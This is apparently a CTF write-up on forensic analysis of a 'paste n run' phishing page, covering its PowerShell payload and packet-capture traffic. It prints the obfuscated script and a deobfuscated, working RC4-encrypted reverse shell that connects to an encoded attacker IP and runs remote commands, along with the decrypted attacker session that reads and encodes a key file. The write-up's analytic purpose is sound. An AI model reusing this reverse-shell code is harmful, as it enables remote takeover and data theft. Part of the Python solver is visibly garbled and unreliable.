DownUnderCTF 2025 — Fishy Website (112 pts)
Description
Dear CSI,
Found this fishy website URL on my e-mail and it started to do some crazy stuff on my computer. I have captured some network traffic that may help you find out what is happening on my computer. Thanks a lot for the help!
Regards,
k3ng
AU: https://misc-fishy-website-a409b2d62edf.2025.ductf.net
US: https://misc-fishy-website-a409b2d62edf.2025-us.ductf.net
Attachments
Solution
We were given a link and pcapng file. If we access the link, we see that it will redirect us to a login page. Anything that we type in the sign in page is valid (for example, as you can see, i put a and a as the username as password)
After that, it redirects to the page, which instructs us to copy and paste a PowerShell script into our Windows machine. I found this quite interesting because some time ago, I wrote an article titled The Anatomy of a “Paste n Run” Phishing Attack, which explains how this type of phishing attack works—matching the theme of the challenge titled “fishy website.”
We now need to download the suspicious script and analyze it. We find out that this is an encoded powershell script
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                                   $ B B B B 8 8 B 8 B B 8 8 B 8 8 B   =   @ ( 0 x 0 0 ,   0 x 0 b , 0 x 0 0 , 0 x 0 4 , 0 x 0 3 , 0 x 0 0 , 0 x 0 1 , 0 x 0 2 , 
                                                                   0 x 0 0 , 0 x 0 a , 0 x 0 0 , 0 x 1 6 , 0 x 0 0 , 0 x 1 4 , 0 x 0 0 , 0 x 1 d , 0 x 0 0 , 0 x 1 7 , 0 x 0 0 , 0 x 1 e , 0 x 0 0 , 0 x 1 9 , 0 x 0 0 , 0 x 1 8 , 0 x 0 1 , 0 x 0 0 , 0 x 0 1 , 0 x 0 1 , 0 x 0 1 , 0 x 0 2 , 0 x 0 1 , 0 x 0 3 , 0 x 0 1 , 0 x 0 4 , 
                                                                                         0 x 0 0 , 0 x 2 3 , 0 x 0 0 , 0 x 0 0 , 
                                                             0 x 0 0 , 0 x 1 6 , 0 x 0 0 , 0 x 0 0 , 
                                                                             0 x 0 0 , 0 x 1 7 , 0 x 0 0 , 0 x 0 0 , 
                                                                         0 x 0 0 , 0 x 0 d , 0 x 0 0 , 0 x 1 e , 0 x 0 0 , 0 x 1 c , 0 x 0 4 , 0 x 0 3 , 0 x 0 5 , 0 x 0 3 , 0 x 0 6 , 0 x 0 3 , 0 x 0 8 , 0 x 0 7 , 0 x 0 8 , 0 x 0 8 , 0 x 0 8 , 0 x 0 9 , 0 x 0 8 , 0 x 0 a , 0 x 0 8 , 0 x 0 b , 0 x 0 8 , 0 x 0 4 , 0 x 0 8 , 0 x 0 5 , 0 x 0 8 , 0 x 0 6 , 0 x 0 4 , 0 x 0 1 , 0 x 0 5 , 0 x 0 1 , 0 x 0 6 , 0 x 0 1 , 
                                                                             0 x 0 0 , 0 x 2 b , 0 x 0 0 , 0 x 0 3 , 0 x 0 2 , 0 x 0 3 , 0 x 0 4 , 
                                                           0 x 0 0 , 0 x 2 d , 0 x 0 0 , 0 x 0 2 , 0 x 0 1 , 0 x 0 1 , 
                                                                       0 x 0 0 , 0 x 3 3 , 0 x 0 0 , 0 x 2 6 , 0 x 0 0 , 0 x 2 4 , 0 x 0 0 , 0 x 1 d , 0 x 0 0 , 0 x 2 0 , 
                                                     0 x 3 5 , 0 x 8 0 , 0 x 7 2 , 0 x d 6 , 0 x 3 6 , 0 x 5 8 , 0 x 8 0 , 0 x d 1 , 0 x a e , 0 x e a , 0 x 3 2 , 0 x 9 a , 0 x d f , 0 x 9 1 , 0 x 2 1 , 0 x 3 8 , 0 x 3 8 , 0 x 5 1 , 0 x e d , 0 x 2 1 , 0 x a 2 , 0 x 8 e , 0 x 3 b , 0 x 7 5 , 0 x e 9 , 0 x 6 5 , 0 x d 0 , 0 x d 2 , 0 x c d , 0 x 1 6 , 0 x 6 2 , 0 x 5 4 ) 
                       $ B B 8 8 B B 8 B B 8 8 B B 8 8 B   =   $ B 8 B B 8 8 B B B B 8 B 8 8 B 8   +   $ B B B B 8 8 B 8 B B 8 8 B 8 8 B 
                     $ B B B B 8 B 8 8 8 8 8 8 8 8 B 8   =   [ b y t e [ ] ]   ( [ B i t C o n v e r t e r ] : : G e t B y t e s ( [ U I n t 1 6 ] $ B B 8 8 B B 8 B B 8 8 B B 8 8 B . L e n g t h ) ) 
                   [ A r r a y ] : : R e v e r s e ( $ B B B B 8 B 8 8 8 8 8 8 8 8 B 8 ) 
           $ B 8 8 8 8 B B B 8 8 8 B 8 8 8 8   =   @ ( 0 x 0 3 , 0 x 0 3 , 0 x 0 0 , 0 x 0 1 , 0 x 0 2 , 0 x 0 3 , 0 x 0 4 , 0 x 0 5 , 0 x 0 6 , 0 x 0 7 , 0 x 0 8 , 0 x 0 9 , 0 x 0 a , 0 x 0 b , 0 x 0 c , 
                                                 0 x 0 d , 0 x 0 e , 0 x 0 f , 
                               0 x 1 0 , 0 x 1 1 , 0 x 1 2 , 0 x 1 3 , 0 x 1 4 , 0 x 1 5 , 0 x 1 6 , 0 x 1 7 , 
                                                 0 x 1 8 , 
                               0 x 1 9 , 0 x 1 a , 0 x 1 b , 0 x 1 c , 0 x 1 d , 0 x 1 e , 0 x 1 f , 0 x 2 0 , 0 x e 0 , 0 x e 1 , 
                                       0 x e 2 , 0 x e 3 , 0 x e 4 , 0 x e 5 , 0 x e 6 , 0 x e 7 , 0 x e 8 , 0 x e 9 , 0 x e a , 0 x e b , 0 x e c , 0 x e d , 0 x e e , 0 x e f , 0 x f 0 , 0 x f 1 , 0 x f 2 , 0 x f 3 , 0 x f 4 , 0 x f 5 , 0 x f 6 , 0 x f 7 , 0 x f 8 , 0 x f 9 , 0 x f a , 
                                           0 x f b , 0 x f c , 0 x f d , 0 x f e , 0 x f f , 0 x 0 0 , 0 x 0 8 , 0 x 1 3 , 0 x 0 2 , 0 x 1 3 , 0 x 0 3 , 0 x 1 3 , 0 x 0 1 , 0 x 0 0 , 0 x f f , 0 x 0 1 , 0 x 0 0 ) 
                     $ B B 8 B 8 B B B B 8 8 B 8 B 8 B   =   $ B 8 8 8 8 B B B 8 8 8 B 8 8 8 8   +   $ B B B B 8 B 8 8 8 8 8 8 8 8 B 8   +   $ B B 8 8 B B 8 B B 8 8 B B 8 8 B 
                           $ B B 8 B B B 8 8 B 8 B 8 B 8 8 8   =   [ b y t e [ ] ]   ( [ B i t C o n v e r t e r ] : : G e t B y t e s ( $ B B 8 B 8 B B B B 8 8 B 8 B 8 B . L e n g t h ) ) 
                 [ A r r a y ] : : R e v e r s e ( $ B B 8 B B B 8 8 B 8 B 8 B 8 8 8 ) 
           $ B B B 8 8 B B B 8 8 8 B 8 B 8 B   =   @ ( 0 x 0 1 )   +   $ B B 8 B B B 8 8 B 8 B 8 B 8 8 8 [ 1 . . 3 ]   +   $ B B 8 B 8 B B B B 8 8 B 8 B 8 B 
                 $ B 8 8 B 8 8 8 B 8 B B 8 B B B B   =   [ b y t e [ ] ]   ( [ B i t C o n v e r t e r ] : : G e t B y t e s ( [ U I n t 1 6 ] $ B B B 8 8 B B B 8 8 8 B 8 B 8 B . L e n g t h ) ) 
                   [ A r r a y ] : : R e v e r s e ( $ B 8 8 B 8 8 8 B 8 B B 8 B B B B ) 
                                             $ B B B 8 8 8 8 8 8 B B 8 8 B 8 8   =   @ ( 0 x 1 6 , 
                                       0 x 0 3 ,   0 x 0 1 )   +   $ B 8 8 B 8 8 8 B 8 B B 8 B B B B   +   $ B B B 8 8 B B B 8 8 8 B 8 B 8 B 
               r e t u r n   , $ B B B 8 8 8 8 8 8 B B 8 8 B 8 8 
                                   } 
   $ B B B B 8 B B B B B B 8 B 8 8 B   =   N e w - O b j e c t   S y s t e m . N e t . S o c k e t s . T c p C l i e n t 
                                         $ B B B B 8 B B B B B B 8 B 8 8 B . C o n n e c t ( ( I I l I l I l I l l I I l l I l   - B B B B 8 8 8 8 B B B B B 8 B B   @ ( 5 , 7 , 2 5 , 2 , 2 5 , 3 , 1 5 , 2 5 , 5 , 7 , 7 )   - B B 8 B B 8 B 8 B B B 8 B 8 B 8   5 5 ) ,   ( ( 5 0   *   9 )   -   ( 1 1   *   2 ) )   +   [ m a t h ] : : P o w ( 2 ,   3 )   +   [ m a t h ] : : S q r t ( 4 9 ) ) 
             $ B B B B 8 8 8 8 8 8 B 8 8 B B B   =   $ B B B B 8 B B B B B B 8 B 8 8 B . G e t S t r e a m ( ) 
   $ B B 8 8 8 8 8 B B 8 B 8 B 8 B B   =   l l I I l l l l l I I I l l l I 
                 $ B B B B 8 8 8 8 8 8 B 8 8 B B B . W r i t e ( $ B B 8 8 8 8 8 B B 8 B 8 B 8 B B ,   0 ,   $ B B 8 8 8 8 8 B B 8 B 8 B 8 B B . L e n g t h ) 
                 $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B   =   N e w - O b j e c t   b y t e [ ]   1 6 3 8 4 
                     $ B B B B 8 8 8 8 8 8 B 8 8 B B B . R e a d ( $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B ,   0 ,   $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B . L e n g t h )   |   O u t - N u l l 
                                     w h i l e   ( $ t r u e )   { 
                             $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B   =   N e w - O b j e c t   b y t e [ ]   1 6 3 8 4 
             t r y   { 
                                           $ B 8 8 8 B B B 8 B 8 B 8 8 B 8 B   =   $ B B B B 8 8 8 8 8 8 B 8 8 B B B . R e a d ( $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B ,   0 ,   1 6 3 8 4 ) 
                                   }   c a t c h   { 
                                         b r e a k 
                             } 
                                                 $ B B B B 8 8 8 8 B B B B B 8 B B   =   $ B 8 B 8 8 8 B B 8 B 8 8 8 8 B B [ 5 . . ( $ B 8 8 8 B B B 8 B 8 B 8 8 B 8 B   -   1 ) ] 
                                 $ B 8 B 8 8 B 8 B B 8 8 8 B B B 8   =   [ S y s t e m . T e x t . E n c o d i n g ] : : U T F 8 . G e t S t r i n g ( ( l I I I l l l I I I I l l l l I   - B 8 B B B 8 B 8 B B 8 B B B 8 8   $ B B B 8 8 B 8 B 8 8 8 B B B 8 8   - B B B 8 B B B 8 B 8 8 B 8 8 B 8   $ B B B B 8 8 8 8 B B B B B 8 B B ) ) 
                                                   i f   ( $ B 8 B 8 8 B 8 B B 8 8 8 B B B 8   - e q   ( I I l I l I l I l l I I l l I l   - B B B B 8 8 8 8 B B B B B 8 B B   @ ( 1 0 9 , 1 1 2 , 9 7 , 1 2 4 )   - B B 8 B B 8 B 8 B B B 8 B 8 B 8   8 ) )   {   b r e a k   } 
                                             t r y   { 
                                                           $ B B 8 8 B 8 B 8 B B B B 8 8 8 B   =   ( I n v o k e - E x p r e s s i o n   $ B 8 B 8 8 B 8 B B 8 8 8 B B B 8   2 > & 1 )   |   O u t - S t r i n g 
                                             }   c a t c h   { 
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             } 
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We now need to decode it and deobfuscate it to be able to understand more about the code
# RC4 key used for encryption/decryption
$rc4_key = 0xf1,0x6e,0xcd,0xc6,0x79,0x4c,0x66,0xd1,0x02,0xf8,0x33,0xc4,0x86,0xe7,0xa4,
0x35,0x8d,0x69,0xbd,0xd2,0x1d,0x50,0xf5,0xfb,0xdf,0xec,0xaf,0x0b,0x9e,0x53,
0xa4,0xd3
function Decode-XorString {
param([int[]]$data, [int]$key)
$result = ""
foreach ($val in $data) {
$result += [char]($val -bxor $key)
}
return $result
}
function RC4-Decrypt {
param ([byte[]]$key, [byte[]]$data)
$S = 0..255
$j = 0
for ($i = 0; $i -lt 256; $i++) {
$j = ($j + $S[$i] + $key[$i % $key.Length]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i]
}
$i = 0; $j = 0
$result = @()
foreach ($byte in $data) {
$i = ($i + 1) % 256
$j = ($j + $S[$i]) % 256
$S[$i], $S[$j] = $S[$j], $S[$i]
$K = $S[($S[$i] + $S[$j]) % 256]
$result += ($byte -bxor $K)
}
return ,$result
}
function Wrap-FakeTLSRecord {
param([string]$data)
$utf8 = [System.Text.Encoding]::UTF8.GetBytes($data)
$rc4_out = (RC4-Decrypt -key $rc4_key -data $utf8) + (0x02,0x04,0x06,0x08)
$lengthBytes = [System.BitConverter]::GetBytes([int16]$rc4_out.Length)
[Array]::Reverse($lengthBytes)
return (0x17,0x03,0x03) + $lengthBytes + $rc4_out
}
function Create-FakeClientHello {
$session_id = Decode-XorString @(168,187,172,183,184,167,240,186,171,169,176,177,176,186,187,172,240,189,177,179) 222
$session_bytes = [System.Text.Encoding]::ASCII.GetBytes($session_id)
$session_len = [byte[]]([BitConverter]::GetBytes([UInt16]$session_bytes.Length))
[Array]::Reverse($session_len)
$session_data = @(0x00) + $session_len + $session_bytes
$total_len = [byte[]]([BitConverter]::GetBytes([UInt16]$session_data.Length))
[Array]::Reverse($total_len)
$segment = @(0x00,0x00) + $total_len + $session_data
$extensions = @(0x00,0x0b,0x00,0x04,0x03,0x00,0x01,0x02,
0x00,0x0a,0x00,0x16,0x00,0x14,0x00,0x1d,
0x00,0x17,0x00,0x1e,0x00,0x19,0x00,0x18,
0x01,0x00,0x01,0x01,0x01,0x02,0x01,0x03,
0x01,0x04,0x00,0x23,0x00,0x00,0x00,0x16,
0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x0d,
0x00,0x1e,0x00,0x1c,0x04,0x03,0x05,0x03,
0x06,0x03,0x08,0x07,0x08,0x08,0x08,0x09,
0x08,0x0a,0x08,0x0b,0x08,0x04,0x08,0x05,
0x08,0x06,0x04,0x01,0x05,0x01,0x06,0x01,
0x00,0x2b,0x00,0x03,0x02,0x03,0x04,0x00,
0x2d,0x00,0x02,0x01,0x01,0x00,0x33,0x00,
0x26,0x00,0x24,0x00,0x1d,0x00,0x20,
0x35,0x80,0x72,0xd6,0x36,0x58,0x80,0xd1,
0xae,0xea,0x32,0x9a,0xdf,0x91,0x21,0x38,
0x38,0x51,0xed,0x21,0xa2,0x8e,0x3b,0x75,
0xe9,0x65,0xd0,0xd2,0xcd,0x16,0x62,0x54)
$client_hello = @(0x03,0x03,0x00,0x01,0x02,0x03,0x04,0x05,
0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,
0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,
0x16,0x17,0x18,0x19,0x1a,0x1b,0x1c,0x1d,
0x1e,0x1f,0x20,0xe0,0xe1,0xe2,0xe3,0xe4,
0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,
0xed,0xee,0xef,0xf0,0xf1,0xf2,0xf3,0xf4,
0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,0xfb,0xfc,
0xfd,0xfe,0xff,0x00,0x08,0x13,0x02,0x13,
0x03,0x13,0x01,0x00,0xff,0x01,0x00)
$handshake = $client_hello + $segment + $extensions
$len = [byte[]]([BitConverter]::GetBytes($handshake.Length))
[Array]::Reverse($len)
return @(0x01) + $len[1..3] + $handshake
}
# Reverse-shell entrypoint
$ip = Decode-XorString @(5,7,25,2,25,3,15,25,5,7,7) 55
$port = 443
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($ip, $port)
$stream = $client.GetStream()
# Send fake ClientHello
$hello = Create-FakeClientHello
$stream.Write($hello, 0, $hello.Length)
while ($true) {
$buffer = New-Object byte[] 16384
try {
$bytesRead = $stream.Read($buffer, 0, $buffer.Length)
} catch {
break
}
$encrypted = $buffer[5..($bytesRead - 1)]
$decrypted_bytes = RC4-Decrypt -key $rc4_key -data $encrypted
$command = [System.Text.Encoding]::UTF8.GetString($decrypted_bytes)
if ($command -eq "mpa|") { break }
try { $output = (Invoke-Expression $command 2>&1) | Out-String }
catch { $output = "Error executing command" }
$response = Wrap-FakeTLSRecord $output.Trim()
$stream.Write($response, 0, $response.Length)
}
$stream.Close()
$client.Close()
From the code above, we can see that the code is :
- Sends a fake TLS
ClientHelloto appear legit - Reads the response (which is RC4-encrypted)
- Decrypts it using RC4 and executes the received command
- Sends the command output back, also RC4-encrypted and wrapped in a fake TLS Application record
We suspect that there is a C2 communication that is established between the victim and attacker, with the attacker using the fake TLS communications. Because we already get the pcapng file, we assume that the communication between the attacker and victim is recorded there
We can open the pcapng file using Wireshark and search for the communication
If we follow the TCP Stream, we see in the 26th stream this conversation. We see that the IP 192.168.190.128, possibly the victim, is making a GET request to the IP 20.5.48.200, possibly the attacker, and get the malicious powershell script
We continue to follow the TCP stream, and stumble upon this conversation. In the 37th stream, there is a communication in which the victim initiate a Client Hello, and the attacker response with Server Hello, and the communication continue using TLS protocol. We see earlier in the powershell code that this is a custom TLS that is using RC4
To learn more about the conversation, we can try to decrypt the stream. We already knew the RC4 key (hardcoded in the script), so we can use it to decrypt it too
What we need to do now is :
- Extract all packets from that TCP stream (
tshark -r capture.pcapng -Y "tcp.stream == 37" -w stream37.pcapng) - Export just the TCP payload (raw data) (
tshark -r stream37.pcapng -T fields -e tcp.payload > stream37.hex) - Convert it to raw binary (
xxd -r -p stream37.hex > stream37.raw)
This is the solver that i use to decrypt it
from Crypto.Cipher import ARC4
rc4_key = bytes([
0xf1, 0x6e, 0xcd, 0xc6, 0x79, 0x4c, 0x66, 0xd1, 0x02, 0xf8, 0x33, 0xc4,
0x86, 0xe7, 0xa4, 0x35, 0x8d, 0x69, 0xbd, 0xd2, 0x1d, 0x50, 0xf5, 0xfb,
0xdf, 0xec, 0xaf, 0x0b, 0x9e, 0x53, 0xa4, 0xd3
])
def decrypt_stream(filename):
with open(filename, 'rb') as f:
data = f.read()
offset = 0
while offset + 5 len(data):
break
record = data[start:end]
if len(record) &1 | Out-Null; if ($LASTEXITCODE -eq 0) {"Admin"} else {"Standard Us
[+] Decrypted record:
Standard User
[+] Decrypted record:
ls $
[+] Decrypted record:
Directory: C:\Users\jdoe
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/6/2025 7:31 PM 3D Objects
d-r--- 6/6/2025 7:31 PM Contacts
d-r--- 6/6/2025 7:31 PM Desktop
d-r--- 7/9/2025 8:39 PM Documents
d-r--- 7/9/2025 8:33 PM Downloads
d-r--- 6/6/2025 7:31 PM Favorites
d-r--- 6/6/2025 7:31 PM Links
d-r--- 6/6/2025 7:31 PM Music
d-r--- 6/6/2025 7:38 PM OneDrive
d-r--- 6/6/2025 7:34 PM Pictures
d-r--- 6/6/2025 7:31 PM Saved Games
d-r--- 6/6/2025 7:34 PM Searches
d-r--- 6/6/2025 7:31 PM Videos
[+] Decrypted record:
ls $HOME\Docum
[+] Decrypted record:
Directory: C:\Users\jdoe\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/9/2025 8:38 PM 157 keys_backup.tar.gz
[+] Decrypted record:
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Users\jdoe\Documents\keys_backup.tar.g
[+] Decrypted record:
H4sIAAAAAAAAA+3OMQrCQBSE4dSeIieQt3m78QCKlYVorBdZjYVgkeyCQby7iyCIfdTi/5qBaWbOx6GfxmssRiRZbe0zs88UcVoYJ6q1VlJp7mc2V6WMeeol9XHfleU3pv7RYjdvljfjT0md84MkH+zFHzRshnXjm9XWx862rQn3ya+vAgAAAAAAAAAAAAAAAADePAC9uw8vACgAAA==
[+] Decrypted record:
We see from the decrypted stream payload that :
- The PowerShell commands were executed on a host named
DESKTOP-PIVSTG0with the username jdoe - The attacker is doing an enumeration in the compromised Windows environment to gather system and user-specific information, using command such as whoami, ls, etc.
- The attacker accessed and encoded a sensitive file
C:\Users\jdoe\Documents\keys_backup.tar.gzinto Base64 using PowerShell’s[Convert]::ToBase64String(...)method. This is possibly the flag that we are searching
We can directly try to decode it, decode the gzip, and then extract the gzip to get the flag. I use this command
echo 'H4sIAAAAAAAAA+3OMQrCQBSE4dSeIieQt3m78QCKlYVorBdZjYVgkeyCQby7iyCIfdTi/5qBaWbOx6GfxmssRiRZbe0zs88UcVoYJ6q1VlJp7mc2V6WMeeol9XHfleU3pv7RYjdvljfjT0md84MkH+zFHzRshnXjm9XWx862rQn3ya+vAgAAAAAAAAAAAAAAAADePAC9uw8vACgAAA==' | base64 -d | gzip -d > flag.tar
Inside the tar archive file, we find a file named keys.txt that contain our flag
Flag
DUCTF{1_gu355_y0u_c4n_d3cRyPT_TLS_tr4ff1c}